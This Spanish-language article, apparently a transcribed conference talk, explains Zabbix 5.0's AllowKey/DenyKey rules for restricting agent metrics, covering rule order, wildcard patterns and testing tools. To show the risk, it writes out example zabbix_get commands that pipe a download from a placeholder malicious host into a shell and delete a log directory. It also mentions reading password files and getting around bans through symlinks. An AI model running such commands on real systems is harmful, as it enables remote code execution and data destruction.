🥇 Soporte de listas negras y blancas para métricas en el lado del agente en Zabbix 5.0

Soporte para listas negras y blancas para métricas del lado del agente

Tikhon Uskov, Ingeniero de integración, Zabbix

Problemas de seguridad de datos

Zabbix 5.0 introduce una nueva función que mejora la seguridad en sistemas que utilizan Zabbix Agent y reemplaza el antiguo parámetro EnableRemoteCommands.

El fortalecimiento de la seguridad de los sistemas que utilizan el agente se debe al hecho de que el agente puede llevar a cabo una gran cantidad de acciones potencialmente peligrosas.

El agente puede recopilar prácticamente cualquier información, incluyendo datos confidenciales o potencialmente peligrosos, de archivos de configuración, archivos de registro, archivos con contraseñas u otros archivos.

Por ejemplo, a través de la utilidad zabbix_get se puede acceder a la lista de usuarios, sus directorios personales, archivos con contraseñas, etc.

Acceso a los datos mediante la utilidad zabbix_get

NOTA. Los datos solo pueden ser obtenidos si el agente tiene permisos de lectura sobre el archivo correspondiente. Pero, por ejemplo, el archivo /etc/passwd/ es accesible para todos los usuarios.

El agente también puede ejecutar comandos potencialmente peligrosos. Por ejemplo, la clave *system.run[]** permite ejecutar cualquier comando remoto en los nodos de la red, incluyendo la ejecución de scripts desde la interfaz web de Zabbix que también ejecutan comandos en el lado del agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

En Linux, el agente por defecto se ejecuta sin privilegios de root, mientras que en Windows se ejecuta como un servicio en nombre del sistema y tiene acceso ilimitado al sistema de archivos. Por lo tanto, si después de la instalación no se realizan cambios en la configuración de Zabbix Agent, el agente tiene acceso al registro, al sistema de archivos y puede realizar consultas WMI.

En versiones anteriores, el parámetro EnableRemoteCommands=0 solo permitía deshabilitar métricas con la clave *system.run[]** y la ejecución de scripts desde la interfaz web, pero no había forma de restringir el acceso a archivos individuales, permitir o denegar claves individuales que se configuraban junto con el agente, o restringir el uso de parámetros individuales.

Uso del parámetro EnableRemoteCommand en versiones anteriores de Zabbix

AllowKey/DenyKey

Zabbix 5.0 ayuda a protegerse contra este acceso no autorizado gracias a las listas blancas y negras para permitir y prohibir métricas del lado del agente.

En Zabbix 5.0, todas las claves, incluyendo *system.run[]**, están permitidas, y se han añadido dos nuevos parámetros de configuración del agente:

AllowKey= — verificaciones permitidas;

DenyKey= — verificaciones prohibidas;

donde — el patrón del nombre de la clave con parámetros, donde se utilizan caracteres comodín (*).

Las claves AllowKey y DenyKey permiten permitir o prohibir métricas individuales según un patrón específico. A diferencia de otros parámetros de configuración, no hay un límite en la cantidad de parámetros AllowKey/DenyKey. Esto permite definir claramente lo que el agente puede hacer en el sistema al crear un árbol de pruebas — claves a evaluar, donde el orden de escritura es muy importante.

Secuencia de reglas

Las reglas se verifican en el orden en que se introducen en el archivo de configuración. La verificación de la clave según las reglas ocurre hasta la primera coincidencia, y una vez que la clave del elemento de datos coincide con el patrón, se permite o se prohíbe. Después de esto, se detiene la verificación de reglas y se ignoran las claves restantes.

Por lo tanto, si un elemento coincide tanto con la regla de permiso como con la regla de prohibición, el resultado dependerá de cuál regla esté primero en el archivo de configuración.

2 reglas diferentes con el mismo patrón y clave vfs.file.size[/tmp/file]

Orden de uso de las claves AllowKey/DenyKey:

reglas exactas,
reglas generales,
regla de prohibición.

Por ejemplo, si necesita acceso a archivos en una carpeta específica, debe permitir primero el acceso a ellos, y luego prohibir todo lo demás que no se ajuste a los permisos establecidos. Si primero se utiliza una regla de prohibición, el acceso a la carpeta será denegado.

Secuencia correcta

Si se necesita permitir la ejecución de 2 utilidades a través de *,system.run[]**, y si se indica primero una regla de prohibición, las utilidades no se ejecutarán, porque el primer patrón siempre coincidirá con cualquier clave y las reglas posteriores serán ignoradas.

Secuencia incorrecta

Patrones

Reglas básicas

Un patrón es una expresión con comodines (wildcard). El carácter comodín (*) coincide con cualquier cantidad de cualquier símbolo en una posición específica. Los caracteres comodín pueden ser utilizados tanto en el nombre de la clave como en los parámetros. Por ejemplo, se puede definir rígidamente el primer parámetro con texto, y el siguiente se puede indicar como comodín.

Los parámetros deben estar en corchetes [].

system.run[* — incorrecto
vfs.file*.txt] — incorrecto
vfs.file.*[*] — correcto

Ejemplos de uso de wildcard.

En el nombre de la clave y en el parámetro. En este caso, la clave no coincide con una clave similar que no contiene el parámetro, ya que en el patrón hemos especificado que queremos obtener una cierta terminación del nombre de la clave y un conjunto de parámetros.
Si en el patrón no se utilizan corchetes, el patrón permite todas las claves que no contienen parámetros y prohíbe todas las claves con el parámetro especificado.
Si la clave está escrita completamente y los parámetros se indican como wildcard, esta coincidirá con cualquier clave similar con cualquier parámetro y no coincidirá con la clave sin corchetes, es decir, será permitida o prohibida.

Reglas para rellenar parámetros.

Si se asume el uso de una clave con parámetros, los parámetros deben estar especificados en el archivo de configuración. Los parámetros deben ser indicados como metacaracteres. Es necesario restringir cuidadosamente el acceso a cualquier archivo y considerar qué información puede proporcionar la métrica en diferentes variantes de escritura — con parámetros y sin ellos.

Características de la escritura de claves con parámetros

Si la clave se especifica con parámetros, pero los parámetros son opcionales y se indican como metacaracteres, se permitirá la clave sin parámetros. Por ejemplo, si desea prohibir la obtención de información sobre la carga del CPU y especifica que la clave system.cpu.load[*] debe ser prohibida, no olvide que la clave sin parámetros devolverá el valor medio de la carga.

Reglas para rellenar parámetros

Notas

Configuración

Algunas reglas no pueden ser modificadas por el usuario, como las reglas de descubrimiento (discovery) o la autorregistro de agentes. Las reglas AllowKey/DenyKey no afectan los siguientes parámetros:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem

NOTA. Si un administrador prohíbe alguna clave, al consultar Zabbix no se proporciona información sobre la razón por la cual la métrica o clave entran en la categoría ‘NOTSUPPORTED‘. En los archivos de registro del agente, la información sobre las prohibiciones para ejecutar comandos remotos también no se muestra. Esto se hace por razones de seguridad, pero puede complicar la depuración si las métricas caen en la categoría no soportada por alguna razón..

No se debe contar con un orden específico para la conexión de archivos de configuración externos (por ejemplo, en orden alfabético).

Utilidades de línea de comando

Después de configurar las reglas, es necesario asegurarse de que todo esté configurado correctamente.

Se puede optar por una de las tres opciones:

Agregar métrica en Zabbix.
Probar usando zabbix_agentd. El agente Zabbix con la opción -print (-p) muestra todas las claves (que están permitidas por defecto), excepto las que no están permitidas por la configuración. Y con la opción -test (-t) para una clave prohibida devolverá ‘Clave de elemento no soportada‘.
Probar usando zabbix_get. Utilidad zabbix_get con la opción -k devolverá ‘ZBX_NOTSUPPORTED: Métrica desconocida‘.

Permitir o prohibir

Puedes prohibir el acceso al archivo y asegurarte, por ejemplo, con la utilidad zabbix_get, que el acceso al archivo está prohibido.

NOTA. Las comillas en el parámetro se ignoran.

Sin embargo, el acceso a dicho archivo puede permitirse por otro camino. Por ejemplo, si se dirige a él un enlace simbólico.

Se recomienda verificar diversas aplicaciones de las reglas establecidas, así como considerar las posibilidades de eludir las prohibiciones.

Preguntas y respuestas

Pregunta. ¿Por qué se eligió un esquema de patrones tan complejo con su propio lenguaje para describir reglas, permisos y prohibiciones? ¿Por qué no se pudo utilizar, por ejemplo, expresiones regulares, que usa Zabbix?

Respuesta. Esta es una cuestión de rendimiento de regex, ya que el agente, generalmente, es único y verifica una enorme cantidad de métricas. Regex es una operación bastante pesada, y no podemos verificar miles de métricas de esta manera. Los comodines son una solución universal, de uso amplio y sencilla..

Pregunta. ¿Acaso los archivos Include no se conectan en orden alfabético?

Respuesta. Hasta donde sé, predecir la secuencia de aplicación de las reglas, si distribuyes las reglas en diferentes archivos, es prácticamente imposible. Recomiendo recopilar todas las reglas AllowKey/DenyKey en un solo archivo Include porque interactúan entre sí, y conectar este archivo..

Pregunta. En Zabbix 5.0, la opción ‘EnableRemoteCommands=‘ falta en el archivo de configuración, ¿y solo están disponibles AllowKey/DenyKey?

Respuesta. Sí, todo es correcto..

¡Gracias por su atención!

Fuente: habr.com